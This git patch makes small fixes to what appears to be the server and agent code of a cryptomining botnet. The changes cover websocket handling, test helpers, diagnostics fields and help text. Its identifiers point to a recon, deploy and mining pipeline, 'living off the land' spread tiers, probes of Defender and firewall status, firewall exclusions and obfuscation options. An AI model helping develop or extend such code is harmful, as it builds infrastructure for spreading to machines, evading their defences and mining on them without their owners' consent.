From f27cec887ad3d077dadd9bff8585a04c99cec4cb Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 01:29:54 -0700 Subject: [PATCH] Fix validation failures from loose-end sweep --- agent/client/client.go | 1 + agent/client/mining_diagnostics.go | 4 ++-- server/internal/api/fleet_handler_test.go | 12 +++++++++++- server/internal/api/websocket.go | 15 ++++++++------- server/internal/api/websocket_test.go | 3 +++ server/web/src/help/accessDepth.ts | 7 +++++-- server/web/src/help/lotlOnionTiers.ts | 2 +- server/web/src/help/settingHelp.test.ts | 2 ++ 8 files changed, 33 insertions(+), 13 deletions(-) diff --git a/agent/client/client.go b/agent/client/client.go index a9c6a2c..78660ec 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -62,6 +62,7 @@ type AgentClient struct { miningChain *MiningChainRunner // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). tierPolicy miner.MiningTierPolicy + // adaptiveStrategy holds server reasoning trace for diagnostics/UI. adaptiveStrategy AdaptiveStrategy // triplePolicy is server-pulled recon → deploy → mining gate policy. triplePolicy miner.TripleOnionPolicy diff --git a/agent/client/mining_diagnostics.go b/agent/client/mining_diagnostics.go index dd0b71c..e21001b 100644 --- a/agent/client/mining_diagnostics.go +++ b/agent/client/mining_diagnostics.go @@ -62,8 +62,8 @@ type MiningDiagnostics struct { EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"` LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"` - TierChainOrder []string `json:"tier_chain_order,omitempty"` - TierChainSkipped []string `json:"tier_chain_skipped,omitempty"` + TierChainOrder []string `json:"tier_chain_order,omitempty"` + TierChainSkipped []string `json:"tier_chain_skipped,omitempty"` AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"` StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"` WebGPUReady bool `json:"webgpu_ready,omitempty"` diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go index 7c0a84e..bc40305 100644 --- a/server/internal/api/fleet_handler_test.go +++ b/server/internal/api/fleet_handler_test.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "errors" + "fmt" "io" "net/http" "net/http/httptest" @@ -83,13 +84,22 @@ func fleetChiRoute(method, pattern string, handler http.HandlerFunc) http.Handle return r } +func testAgentClientIP(agentID string) string { + var sum int + for i, c := range agentID { + sum += int(c) * (i + 1) + } + return fmt.Sprintf("10.42.%d.%d", (sum%250)+1, ((sum/250)%250)+1) +} + func connectTestAgent(t *testing.T, hub *WSHub, agentID string) *websocket.Conn { t.Helper() srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS)) t.Cleanup(srv.Close) wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") - conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + hdr := http.Header{"X-Forwarded-For": {testAgentClientIP(agentID)}} + conn, _, err := websocket.DefaultDialer.Dial(wsURL, hdr) if err != nil { t.Fatalf("dial agent ws: %v", err) } diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 22f8d43..2925a5c 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -263,6 +263,7 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) { h.mu.Unlock() } +// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring. func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) { h.mu.Lock() h.adaptiveEngine = e @@ -882,7 +883,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { domainJoined = true } fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) - resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp) + adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp) + resp["adaptive_strategy"] = adaptive } return resp }())}) @@ -1721,6 +1723,7 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string { return ids } +// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents. func (h *WSHub) PushAdaptiveStrategyUpdates() int { h.mu.RLock() engine := h.adaptiveEngine @@ -1763,12 +1766,10 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int if v, ok := payload["firewall_domain"].(bool); ok { firewallDomain = &v } - h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "") - if hr, ok := payload["mining_hashrate"].(float64); ok { - if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 { - h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier) - } - } + attempts := parseLOTLAttemptsFromPayload(payload) + hashrate, _ := payload["mining_hashrate"].(float64) + activeTier, _ := payload["lotl_tier"].(string) + h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier) } func (h *WSHub) ingestStrategyFromStats( diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index 4e71416..921028d 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -652,6 +652,9 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { } updates = append(updates, u) } + if len(updates) < 2 { + continue + } batchCh <- batchResult{updates: updates} return } diff --git a/server/web/src/help/accessDepth.ts b/server/web/src/help/accessDepth.ts index f7e2705..248012b 100644 --- a/server/web/src/help/accessDepth.ts +++ b/server/web/src/help/accessDepth.ts @@ -163,7 +163,9 @@ function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined { for (const row of raw) { if (!row || typeof row !== 'object') continue; const r = row as Record; - if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue; + if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') { + continue; + } out.push({ fact: r.fact, inference: r.inference, action: r.action }); } return out.length ? out : undefined; @@ -259,7 +261,8 @@ function resolveMiningOrder( ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } { if (diag?.adaptive_strategy?.tier_order?.length) { const adaptiveOrder = diag.adaptive_strategy.tier_order; - if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) { + const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER); + if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) { return { order: adaptiveOrder, skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [], diff --git a/server/web/src/help/lotlOnionTiers.ts b/server/web/src/help/lotlOnionTiers.ts index 5b6081d..d5b1e36 100644 --- a/server/web/src/help/lotlOnionTiers.ts +++ b/server/web/src/help/lotlOnionTiers.ts @@ -1,6 +1,6 @@ /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */ -/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */ +/** Operator note: spread tiers here are distinct from mining tiers. Adaptive strategy (server/internal/strategy) learns mining tier order from fleet stats and pushes strategy_reasoning on auth — it overrides mining order/skip hints only, not spread lotl_onion_tiers or patch_first gates. */ export const ADAPTIVE_STRATEGY_HELP = 'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.'; diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index 13ab291..b6ef8b1 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -34,6 +34,7 @@ describe('FIELD_HELP', () => { 'calibrate_quick_setup', 'forge_simple_mode', 'forge_lotl_onion', + 'lotl_onion_tiers', 'forge_recommended_defaults', 'obfuscate', 'sigil_scramble', @@ -94,6 +95,7 @@ describe('FIELD_HELP', () => { 'websocket_ping_seconds', 'log_pool_traffic', 'adapt_to_hardware', + 'adaptive_strategy', 'self_healing', 'firewall_exclusion', 'firewall_remote',